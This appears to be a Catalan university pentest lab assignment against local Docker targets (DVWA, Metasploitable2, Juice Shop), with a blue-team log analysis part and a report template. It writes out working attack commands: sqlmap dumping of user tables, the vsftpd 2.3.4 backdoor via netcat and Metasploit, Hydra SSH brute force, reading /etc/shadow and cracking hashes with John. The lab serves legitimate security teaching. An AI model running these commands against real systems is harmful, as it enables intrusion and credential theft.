Salta el contingut

PR5051 - Laboratori de Pentest amb Kali Linux

Objectius

  • Configurar un entorn de pentest amb Kali Linux i màquines vulnerables
  • Aplicar la metodologia completa de pentest (recon → exploit → post-exploit)
  • Documentar les troballes en format de report professional
  • Practicar tècniques de reconeixement WiFi en entorn controlat
  • Diferenciar el rol de l'equip vermell i l'equip blau

Prerequisits

Element Detall
Temps estimat 6 hores
Eines necessàries Docker Desktop
Plataformes opcionals TryHackMe (compte gratuït), HackTheBox
Legal ÚNICAMENT sobre sistemes Docker locals o plataformes autoritzades

Introducció

En aquesta pràctica realitzarem un pentest complet sobre un entorn Docker que simula una xarxa corporativa amb múltiples vulnerabilitats. L'entorn inclou: - Servidor web vulnerable (DVWA) - Servidor FTP amb credencials per defecte - Servidor SSH amb contrasenya feble - Base de dades MySQL accessible

Part 1: Preparació de l'Entorn

1.1 Xarxa de laboratori

# docker-compose.yml - Entorn de pentest
version: '3.8'

services:
  # Atacant: Kali Linux
  kali:
    image: kalilinux/kali-rolling:latest
    container_name: kali-NOMCOGNOM
    hostname: kali-attacker-NOMCOGNOM
    networks:
      pentest_net:
        ipv4_address: 10.10.10.5
    command: sleep infinity
    cap_add:
      - NET_ADMIN

  # Target 1: Servidor web vulnerable
  dvwa:
    image: vulnerables/web-dvwa:latest
    container_name: target-web-NOMCOGNOM
    hostname: webserver-target-NOMCOGNOM
    networks:
      pentest_net:
        ipv4_address: 10.10.10.10

  # Target 2: Metasploitable (múltiples serveis vulnerables)
  metasploitable:
    image: tleemcjr/metasploitable2:latest
    container_name: target-msf-NOMCOGNOM
    hostname: metasploitable-NOMCOGNOM
    networks:
      pentest_net:
        ipv4_address: 10.10.10.20

  # Target 3: Servidor web modern (Juice Shop)
  juiceshop:
    image: bkimminich/juice-shop:latest
    container_name: target-shop-NOMCOGNOM
    hostname: juiceshop-NOMCOGNOM
    networks:
      pentest_net:
        ipv4_address: 10.10.10.30

networks:
  pentest_net:
    driver: bridge
    ipam:
      config:
        - subnet: 10.10.10.0/24

1.2 Preparar Kali Linux

# Iniciar l'entorn
docker compose up -d

# Accedir a Kali
docker exec -it kali-NOMCOGNOM bash

# Actualitzar i instal·lar eines necessàries
apt-get update -qq
apt-get install -y nmap nikto gobuster metasploit-framework \
  hydra sqlmap curl wget netcat-openbsd john hashcat \
  wireshark tcpdump

# Crear el directori de treball
mkdir -p /pentest-NOMCOGNOM/{recon,exploits,evidence,report}

Part 2: Reconeixement

2.1 Descoberta de xarxa

# Dins de Kali (docker exec -it kali-NOMCOGNOM bash)

# Descobrir hostes actius
nmap -sn 10.10.10.0/24 | tee /pentest-NOMCOGNOM/recon/hosts.txt

# Escaneig detallat de cada host
for ip in 10.10.10.10 10.10.10.20 10.10.10.30; do
  echo "=== Escaneig de $ip ===" >> /pentest-NOMCOGNOM/recon/ports.txt
  nmap -sV -sC -O --open -T4 $ip >> /pentest-NOMCOGNOM/recon/ports.txt 2>&1
done

cat /pentest-NOMCOGNOM/recon/ports.txt

2.2 Enumeració web

# Enumeració de directoris (Target 1: DVWA)
gobuster dir \
  -u http://10.10.10.10 \
  -w /usr/share/wordlists/dirb/common.txt \
  -x php,html,txt \
  -o /pentest-NOMCOGNOM/recon/gobuster-10.10.10.10.txt

# Escaneig de vulnerabilitats web
nikto -host http://10.10.10.10 \
  -output /pentest-NOMCOGNOM/recon/nikto-10.10.10.10.txt

# Verificar tecnologies web
curl -I http://10.10.10.10 2>&1 | tee /pentest-NOMCOGNOM/recon/headers-10.10.10.10.txt

Reflexió 1

Quins serveis i ports has trobat en cada target? Quins et semblen més interessants per a intentar explotar? Classifica les vulnerabilitats potencials per ordre de risc (alt/mig/baix).

Part 3: Explotació

3.1 Target 1 - DVWA: SQL Injection

# Usar SQLMap per a explotar la SQL injection de DVWA
# Primer obtenir la cookie de sessió fent login manual (admin/password)

# Opció 1: DVWA via SQLMap
sqlmap \
  -u "http://10.10.10.10/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=<SESSIO>;security=low" \
  --dbs \
  --batch \
  --output-dir /pentest-NOMCOGNOM/exploits/ \
  | tee /pentest-NOMCOGNOM/exploits/sqlmap-dvwa.txt

# Extreure la taula d'usuaris
sqlmap \
  -u "http://10.10.10.10/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=<SESSIO>;security=low" \
  -D dvwa -T users --dump \
  --batch \
  | tee /pentest-NOMCOGNOM/exploits/sqlmap-users.txt

3.2 Target 2 - Metasploitable: FTP Backdoor

# vsftpd 2.3.4 té una backdoor coneguda (CVE-2011-2523)
# Quan el nom d'usuari conté ':)' s'obre un port en 6200

# Mètode manual (per entendre el mecanisme):
nc 10.10.10.20 21
USER test:)
PASS test
# En un segon terminal:
nc 10.10.10.20 6200
id    # Ha de retornar uid=0(root)

# Via Metasploit (documentar el procés):
msfconsole -q << 'EOF'
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.10.10.20
set PAYLOAD cmd/unix/interact
run
EOF

3.3 Target 2 - Força bruta SSH

# Hydra per a força bruta SSH
hydra -l root -P /usr/share/wordlists/rockyou.txt \
  -t 4 \
  10.10.10.20 ssh \
  -o /pentest-NOMCOGNOM/exploits/hydra-ssh.txt

# Nota: Metasploitable té credencials: msfadmin/msfadmin
# L'exercici és trobar-les via força bruta (hauria de trigar ~1 minut)

Reflexió 2

La força bruta SSH amb Hydra va tenir èxit? Quantes contrasenyes per segon prova Hydra? Quina mesura de seguretat hauria evitat aquest atac (podria ser fail2ban, autenticació per clau, canvi de port...)?

3.4 Target 3 - Juice Shop: Múltiples reptes

# Accedir a http://10.10.10.30 des del navegador (configurant el proxy per Burp Suite)
# Completar com a mínim:
# 1. SQL Injection al login (★★)
# 2. XSS Reflected (★★)
# 3. Un repte de Broken Authentication (★★)

Part 4: Post-Explotació (Metasploitable)

# Un cop obtingut accés root a Metasploitable:
# 1. Verificar l'accés
id
hostname
uname -a

# 2. Explorar la xarxa des de dins
ip addr
netstat -tunlp
arp -a

# 3. Crear "evidència" de l'accés (fitxer de prova)
echo "Prova d'accés - NOMCOGNOM - $(date)" > /tmp/proof-NOMCOGNOM.txt
cat /tmp/proof-NOMCOGNOM.txt

# 4. Extreure hashos (per a demostrar l'impacte)
cat /etc/passwd | head -5
cat /etc/shadow | head -5  # Si tenim accés root

# 5. Crackejar un hash (John the Ripper)
# Primer guardar el hash d'un usuari
echo "msfadmin:\$1\$XN10Zj2c\$Rt/zzCW3mLtUWA.ihZjA5/" > /tmp/hash-NOMCOGNOM.txt

# Crackejar amb John
john /tmp/hash-NOMCOGNOM.txt --wordlist=/usr/share/wordlists/rockyou.txt
john /tmp/hash-NOMCOGNOM.txt --show

Part 5: Equip Vermell vs Equip Blau

En aquesta part, treballa en parelles:

  • Equip Vermell (atacant): realitza els atacs de les parts 2-4
  • Equip Blau (defensor): analitza els logs per detectar els atacs
# Equip Blau: analitzar logs de la màquina atacada

# Logs SSH (força bruta visible)
docker exec target-msf-NOMCOGNOM \
  tail -100 /var/log/auth.log | grep "Failed password"

# Logs Apache (escaneig de directoris visible)
docker exec target-web-NOMCOGNOM \
  tail -100 /var/log/apache2/access.log | \
  awk '{print $1}' | sort | uniq -c | sort -rn | head -10

# Detectar l'escaneig Nmap als logs
docker exec target-web-NOMCOGNOM \
  grep "Nmap\|scanner\|masscan" /var/log/apache2/access.log

Reflexió 3

Com a equip blau, quantes de les accions de l'equip vermell heu pogut detectar als logs? Quines tècniques d'atac deixaven menys rastre als logs? Quin sistema (IDS, fail2ban, etc.) hauria alertat sobre els atacs?

Part 6: Informe de Pentest

Crea el document report_pentest_NOMCOGNOM.md:

# Report de Pentest
**Pentester**: NOMCOGNOM
**Data**: ____________________
**Scope**: 10.10.10.10-30 (entorn Docker)
**Autorització**: Pràctica de laboratori PR5051

## Resum executiu
[2-3 paràgrafs: estat general de la seguretat, risc global, recomanacions principals]

## Metodologia
[Eines i tècniques usades: nmap, gobuster, sqlmap, metasploit, hydra]

## Troballes

### [CRÍTICA] SQLi a DVWA - CVE equivalent: CWE-89
- **Sistema afectat**: 10.10.10.10 (DVWA)
- **Descripció**: SQL Injection en el paràmetre `id`
- **Evidència**: [captura de sqlmap extraient la BBDD]
- **Impacte**: Accés complet a la base de dades d'usuaris
- **Recomanació**: Usar prepared statements

### [CRÍTICA] FTP Backdoor - CVE-2011-2523
- **Sistema afectat**: 10.10.10.20 (Metasploitable)
- ...

### [ALTA] SSH - Contrasenya feble
- **Sistema afectat**: 10.10.10.20
- ...

## Anàlisi de l'Equip Blau
[Quins atacs s'han pogut detectar als logs? Quins no?]

## Reflexions
[Respostes a les 3 reflexions]

Rúbrica

Vegeu Rúbrica PR5051.